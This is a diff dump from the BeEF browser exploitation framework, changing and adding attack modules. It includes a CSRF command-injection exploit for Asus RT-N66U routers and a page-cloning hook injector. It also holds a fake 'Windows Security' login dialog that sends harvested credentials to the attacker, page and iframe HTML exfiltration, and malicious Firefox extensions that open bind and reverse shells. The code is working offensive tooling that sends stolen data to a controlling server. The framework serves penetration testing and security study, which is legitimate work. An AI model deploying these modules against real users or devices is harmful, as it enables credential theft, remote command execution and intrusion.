domain = url.gsub(%r{^http://}, '')
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
transaction.respond!(ip.ip_address)
end
end
success = true
else
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
@@ -125,12 +138,11 @@ module BeEF
private
# Replace </head> with <BeEF_hook></head>
def add_beef_hook(line)
if line.include?("</head>")
line.gsub!("</head>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif
line.gsub!("</HEAD>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
if line.include?("</head>")
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
end
private
@@ -164,7 +176,7 @@ module BeEF
end
def get_page_content(file_path)
file = File.open(file_path,'r')
file = File.open(file_path, 'r')
cloned_page = file.read
file.close
cloned_page

View File

@@ -40,7 +40,8 @@ beef.execute(function() {
new Array("Firefox","18+","resource:///chrome/browser/skin/classic/aero/browser/webRTC-shareDevice-16.png"),
new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),
new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),
new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")
new Array("Internet Explorer","7+", "res://ieframe.dll/info_48.png"),
new Array("Internet Explorer","10+","res://ieframe.dll/immersivelogo.png")
);
for (var i=0; i<fingerprints.length; i++) {

View File

@@ -8,8 +8,8 @@ beef:
browser_fingerprinting:
enable: true
category: "Browser"
name: "Fingerprint Browser"
description: "This module attempts to fingerprint the browser type and version using URI handlers unique to Safari, Internet Explorer and Mozilla Firefox. This method does not rely on JavaScript objects which may have been modified by the user or browser compatibility mode."
name: "Fingerprint Browser (PoC)"
description: "This module attempts to fingerprint the browser type and version using URI protocol handlers unique to Safari, Internet Explorer and Mozilla Firefox."
authors: ["bcoles"]
target:
working: ["IE", "FF", "S"]

View File

@@ -1,28 +0,0 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Written by unsticky
// Ported to BeEF by bcoles
// For more information see http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
beef.execute(function() {
var mt = document.mimeType;
if (mt) {
if (mt == "Safari Document") result = "Safari";
if (mt == "Firefox HTML Document") result = "Firefox";
if (mt == "Chrome HTML Document") result = "Chrome";
if (mt == "HTML Document") result = "Internet Explorer";
if (mt == "Opera Web Document") result = "Opera";
} else {
result = "Unknown";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result);
});

View File

@@ -0,0 +1,32 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
try {
var html_head = document.head.innerHTML.toString();
} catch (e) {
var html_head = "Error: document has no head";
}
try {
var html_body = document.body.innerHTML.toString();
} catch (e) {
var html_body = "Error: document has no body";
}
try {
var iframes = document.getElementsByTagName('iframe');
for(var i=0; i<iframes.length; i++){
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe'+i+'='+iframes[i].contentWindow.document.body.innerHTML);
}
var iframe_ = "Info: iframe(s) found";
} catch (e) {
var iframe_ = "Error: document has no iframe or policy issue";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_page_html_iframe:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Get Page and iframe HTML"
description: "This module will retrieve the HTML from the current page and any iframes (that have the same origin)."
authors: ["bcoles","kxynos"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_page_html_iframe < BeEF::Core::Command
def post_execute
content = {}
content['head'] = @datastore['head']
content['body'] = @datastore['body']
content['iframe_'] = @datastore['iframe_']
save content
end
end

View File

@@ -0,0 +1,36 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
try {
var html_head = document.head.innerHTML.toString();
} catch (e) {
var html_head = "Error: document has no head";
}
try {
var html_body = document.body.innerHTML.toString();
} catch (e) {
var html_body = "Error: document has no body";
}
try {
var iframes = document.getElementsByTagName('iframe');
var iframe_count = iframes.length;
for(var i=0; i<iframe_count; i++){
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_found');
//iframes[i].parentNode.removeChild(iframes[i]);
document.body.removeChild(iframes[0]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed');
}
var iframe_ = "Info: "+ iframe_count +" iframe(s) processed";
} catch (e) {
var iframe_ = "Error: can not remove iframe";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
remove_stuck_iframes:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Remove stuck iframe"
description: "This module will remove any stuck iframes (beware it will remove all of them on that node!)."
authors: ["kxynos"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Remove_stuck_iframes < BeEF::Core::Command
def post_execute
content = {}
content['head'] = @datastore['head']
content['body'] = @datastore['body']
content['iframe_'] = @datastore['iframe_']
save content
end
end

View File

@@ -14,7 +14,7 @@ beef.execute(function() {
$j("iframe").remove();
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
beef.dom.createIframe('fullscreen', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
beef.browser.changeFavicon(iframe_favicon);

View File

@@ -28,7 +28,7 @@ beef.execute(function() {
// 1. use the MITB code (currently doesn't work on IE)
// 2. create an overlay iFrame while having the applet runnin in the background
//
// 1. setTimeout(beef.dom.createIframe('fullscreen', 'get', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
// 1. setTimeout(beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
// 2. beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
// var MITBload = setInterval(function(){
// if(beef.pageIsLoaded){

View File

@@ -0,0 +1,27 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var exec_command = '<%= @exec_command %>';
var timeout = 15;
var asus_rt_n66u_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
asus_rt_n66u_iframe1_<%= @command_id %>.setAttribute('src',"http://" + gateway +"/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host="+gateway+"&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd="+exec_command+"&firmver=3.0.0.4&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(asus_rt_n66u_iframe1_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
asus_rt_n66u_cmd_exec:
enable: true
category: ["Exploits", "Router"]
name: "Asus DSL-N66U / RT-N66U cmd exec"
description: "Attempts to inject a command against routers Asus RT-N66U / Asus DSL-N66U via CSRF.(Assumes user has logged on)"
authors: ["kxynos", "n0x00"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,19 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Asus_rt_n66u_cmd_exec < BeEF::Core::Command
def self.options
return [
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => '192.168.100.1'},
{'name' => 'exec_command', 'ui_label' => 'Command to issue', 'value' => ''}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

View File

@@ -0,0 +1,11 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser());
});

View File

@@ -7,10 +7,10 @@ beef:
module:
detect_default_browser:
enable: true
category: "Browser"
category: "Host"
name: "Detect Default Browser"
description: "This module detects which browser is configured as the default web browser."
authors: ["unsticky", "bcoles"]
authors: ["unsticky"]
target:
working: ["IE"]
not_working: ["All"]

View File

@@ -0,0 +1,35 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var is_hp = new Array;
var dom = document.createElement('b');
parse_results = function() {
var result = "false";
if (is_hp.length) result = "true";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result);
};
var fingerprints = new Array(
new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"),
new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png")
);
for (var i=0; i<fingerprints.length; i++) {
var img = new Image;
img.id = fingerprints[i][0];
img.name = fingerprints[i][0];
img.src = fingerprints[i][1];
img.onload = function() { is_hp.push(this.id); dom.removeChild(this); }
dom.appendChild(img);
}
setTimeout('parse_results();', 2000);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_hp:
enable: true
category: "Host"
name: "Detect Hewlett-Packard"
description: "This module attempts to detect software installed by default on HP systems. It uses the 'res' protocol handler which works only on Internet Explorer."
authors: ["bcoles"]
target:
working: ["IE"]
not_working: ["ALL"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
##
class Detect_hp < BeEF::Core::Command
def post_execute
content = {}
content['is_hp'] = @datastore['is_hp'] if not @datastore['is_hp'].nil?
save content
end
end

View File

@@ -0,0 +1,19 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
if (!battery) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status");
}
var chargingStatus = battery.charging;
var batteryLevel = battery.level * 100 + "%";
var chargingTime = battery.chargingTime;
var dischargingTime = battery.dischargingTime;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_battery_status:
enable: true
category: "Host"
name: "Get Battery Status"
description: "Get informations of the victim current battery status"
authors: ["ecneladis"]
target:
working: ["FF"]
not_working: ["All"]

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_battery_status < BeEF::Core::Command
def post_execute
content = {}
content['chargingStatus'] = @datastore['chargingStatus']
content['batteryLevel'] = @datastore['batteryLevel']
content['chargingTime'] = @datastore['chargingTime']
content['dischargingTime'] = @datastore['dischargingTime']
save content
end
end

View File

@@ -20,7 +20,7 @@ beef.execute(function() {
}
// creates the overlay 100% width/height iFrame
overlay = beef.dom.createIframe('fullscreen', 'get', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
if(beef.browser.isIE()){
// listen for keypress events on the iFrame

View File

@@ -22,11 +22,11 @@ beef.execute(function() {
},false);
if (beef.browser.isC()) {
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'375px','height':'415px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'375px','height':'415px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
} else {
// Don't know how NON Chrome browsers look - so just going to pop the FF dialog
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
beef.dom.createIframe('custom' ,{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Non-Chrome IFrame Created .. awaiting messages');
}

View File

@@ -7,7 +7,7 @@ beef:
module:
firefox_extension_bindshell:
enable: true
category: ["Exploits", "Local Host"]
category: ["Social Engineering"]
name: "Firefox Extension (Bindshell)"
description: "Create on the fly a malicious Firefox extension that binds a shell to a specified port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit."
authors: ["antisnatchor", "bcoles"]

View File

@@ -38,7 +38,7 @@ class Firefox_extension_bindshell < BeEF::Core::Command
end
end
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell"
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell"
extension_path = mod_path + "/extension"
# clean the build directory
@@ -65,7 +65,7 @@ class Firefox_extension_bindshell < BeEF::Core::Command
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)
bind_extension = Firefox_extension_bindshell::Bind_extension
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
BeEF::Core::Server.instance.remap
end

View File

@@ -7,7 +7,7 @@ beef:
module:
firefox_extension_dropper:
enable: true
category: ["Exploits", "Local Host"]
category: ["Social Engineering"]
name: "Firefox Extension (Dropper)"
description: "Create on the fly a malicious Firefox extension that embeds a dropper you can specify (add it to the 'dropper' directory). <br/><br/> The extension is based on the original work from Michael Schierl and his Metasploit module."
authors: ["antisnatchor"]

View File

@@ -35,7 +35,7 @@ class Firefox_extension_dropper < BeEF::Core::Command
end
end
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper"
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"
extension_path = mod_path + "/extension"
# clean the build directory
@@ -75,7 +75,7 @@ class Firefox_extension_dropper < BeEF::Core::Command
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
bind_extension = Firefox_extension_dropper::Bind_extension
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
BeEF::Core::Server.instance.remap
end

View File

@@ -7,7 +7,7 @@ beef:
module:
firefox_extension_reverse_shell:
enable: true
category: ["Exploits", "Local Host"]
category: ["Social Engineering"]
name: "Firefox Extension (Reverse Shell)"
description: "Create on the fly a malicious Firefox extension that makes a reverse shell connection to a specified host:port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit."
authors: ["antisnatchor", "bcoles"]

View File

@@ -41,7 +41,7 @@ class Firefox_extension_reverse_shell < BeEF::Core::Command
end
end
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell"
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell"
extension_path = mod_path + "/extension"
# clean the build directory
@@ -68,7 +68,7 @@ class Firefox_extension_reverse_shell < BeEF::Core::Command
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)
bind_extension = Firefox_extension_reverse_shell::Bind_extension
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi"
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi"
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
BeEF::Core::Server.instance.remap
end

View File

@@ -77,9 +77,9 @@ beef.execute(function() {
// Check whether the user has entered a user/pass and pressed ok
function checker(){
uname1 = document.body.lastChild.getElementsByTagName("input")[0].value;
pass1 = document.body.lastChild.getElementsByTagName("input")[1].value;
valcheck = document.body.lastChild.getElementsByTagName("input")[3].value;
uname1 = document.getElementById("uname").value;
pass1 = document.getElementById("pass").value;
valcheck = document.getElementById("buttonpress").value;
if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") {
// Join user/pass and send to attacker
@@ -94,9 +94,9 @@ beef.execute(function() {
$j('#darkenScreenObject').remove();
}else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true"){
// If user has not entered any data reset button
document.body.lastChild.getElementsByTagName("input")[3].value = "false";
alert("Please enter a valid username and password.");
// If user has not entered any data, reset button
document.body.lastChild.getElementById("buttonpress").value = "false";
alert("Please enter a valid username and password.");
}
}
@@ -163,6 +163,51 @@ beef.execute(function() {
credgrabber = setInterval(checker,1000);
}
// Windows floating div
function windows() {
sneakydiv = document.createElement('div');
sneakydiv.setAttribute('id', 'popup');
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;');
document.body.appendChild(sneakydiv);
// Set appearance using styles, maybe cleaner way to do this with CSS block?
// Set window border
var edgeborder = 'style="border:1px #000000 solid;border-radius:6px;"';
var windowborder = 'style="width:400px;border: 7px #CFE7FE solid;border-radius:6px;"';
var windowmain = 'style="border:1px #000000 solid;"';
var titlebarstyle = 'style="background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;"';
var titlebartext = 'Windows Security';
var promptstyle = 'style="height:40px;"';
var titlestyle = 'style="align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;"';
var title = 'Enter Network Password';
var bodystyle = 'style="align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;"';
var body = 'Enter your password to connect to the server';
var dividestyle = 'style="border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;"';
var tablestyle = 'style="background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px"';
var logobox = 'style="border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff"';
var logo = 'style="border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top, #EEF2F4, #CCD8DF);"';
var inputboxstyle = 'style="width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;"';
var credstextstyle = 'style="font-size:11px;font-family:Segoe UI;"';
var buttonstyle = 'style="font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top, #ffffff, #CFCFCF);"';
var buttonLabel = '<input type="button" name="ok" value="OK" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
var bbarstyle = 'style="background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;"';
// Build page including styles
sneakydiv.innerHTML= '<div id="edge" '+edgeborder+'><div id="window_container" '+windowborder+ '><div id="title_bar" ' +titlebarstyle+ '>' +titlebartext+ '</div><div id="windowmain" ' +windowmain+ '><div id="prompt" '+promptstyle+'><p><span ' +titlestyle+ '>' +title+ '</span><br/><span ' +bodystyle+ '>' + body + '</span></div><div id="divide" ' +dividestyle+ '></div></p><table ' +tablestyle+ '><tr><td rowspan="3" width=75px align="center"><div id="logobox" ' +logobox+ '><div id="logo" ' +logo+ '></div></div></td><td align="left"><input type="text" id="uname" placeholder="User name" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="left"><input type="password" id="pass" name="pass" placeholder="Password" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td><input type="checkbox"><span ' +credstextstyle+ '>Remember my credentials</span></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div></div>';
// Repeatedly check if button has been pressed
credgrabber = setInterval(checker,1000);
}
// YouTube floating div
function youtube() {
@@ -252,6 +297,8 @@ beef.execute(function() {
facebook(); break;
case "LinkedIn":
linkedin(); break;
case "Windows":
windows(); break;
case "YouTube":
youtube(); break;
case "Yammer":

View File

@@ -10,7 +10,7 @@ class Pretty_theft < BeEF::Core::Command
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
logo_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/beef.png"
return [
{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['Windows'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
{'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'],['Clear']], 'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true },

View File

@@ -4,7 +4,7 @@
* See the file 'doc/COPYING' for copying permission
*/
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
document.body.scroll = 'no';
document.documentElement.style.overflow = 'hidden';

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,113 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if(beef.browser.isIE()){
var captcha_message = "";
var tab_message = "";
var captcha_src = "";
// TODO this image is either corrupted or simply thew GIF animation doesn't work
var blink_src = "data:image/gif;base64,R0lGODdhIAF3ALMAAAAAAEqN/3Wo/8TExMzMzNXV1eXl5fPz8////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkyAAkALAAAAAAgAXcAAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXx8/b19vL4+e77/On+/l0KKLASwYKTDiKMpHDho4YOG0GMuGgixUQWLx7KqLEQx46D9T6CDCRy5J+SJvugTLlnJcs8Ll/eYYdOZiJNsXLq3Mmzp8+fQGPZHEq0qNGjSJMqXcq0qdOnUKNKnUq1qtWrWC8k2Mq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rt27ePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnky5suXLmDNr3sy5s+fPoEOLHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37yCMAACH5BAkyAAkALAAAAAAgAU0AAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXxGADzlvUX9/iU+hb8+kn6VyGgQEgEKRg86CjhhIUMGTmUADGiookIKlpEhFHjRkMdVz82CilyEcmSiU6iPKRyZaGWLgfBjBloJs0/Nm/2wajzZbueEn8CvXhuqCJNsZIqXcq0qdOnUGMZnUq1qtWrWLNq3cq1q9evYMOKHUu2rNmzaNOqXTsiAgA7";
switch (beef.browser.getBrowserLanguage().substring(0,2)){
case "en":
lang = "en";
captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after <b>pressing the [TAB] key</b>:</h3>";
tab_message = "You must press the [TAB] key first, then solve the Captcha.";
